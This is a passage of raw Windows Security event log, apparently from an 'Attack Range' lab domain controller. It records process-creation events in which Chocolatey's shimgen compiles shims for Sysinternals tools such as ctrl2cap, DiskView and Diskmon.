	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ctrl2cap.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_1148\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246432
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x864
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe38
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246431
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe38
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ctrl2cap.exe" --output="C:\ProgramData\chocolatey\bin\ctrl2cap.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ctrl2cap.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246430
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x62c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC04D.tmp" "c:\ProgramData\chocolatey\bin\CSCC2CB1623EB3E49159C3EA2A8DF95A06E.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246474
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246473
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x8bc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\DiskView.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_9116\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246472
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3e0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x8bc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246471
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8bc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\DiskView.exe" --output="C:\ProgramData\chocolatey\bin\DiskView.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\DiskView.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246470
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd70
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC752.tmp" "c:\ProgramData\chocolatey\bin\CSC7B832543AB4C4AD287FF17A33344F613.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246469
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd70
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246468
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd70
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x9ac
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Diskmon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_6929\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246467
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xafc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x9ac
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246466
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ac
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Diskmon.exe" --output="C:\ProgramData\chocolatey\bin\Diskmon.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Diskmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246465
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x470
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC677.tmp" "c:\ProgramData\chocolatey\bin\CSC5E2DF3B1976F43A387FDC9A3DED66DD2.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246464
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x470
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246463
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x470
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x64c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\diskext64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123408_4741\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246462
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa40
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x64c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:02 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246461
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x64c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
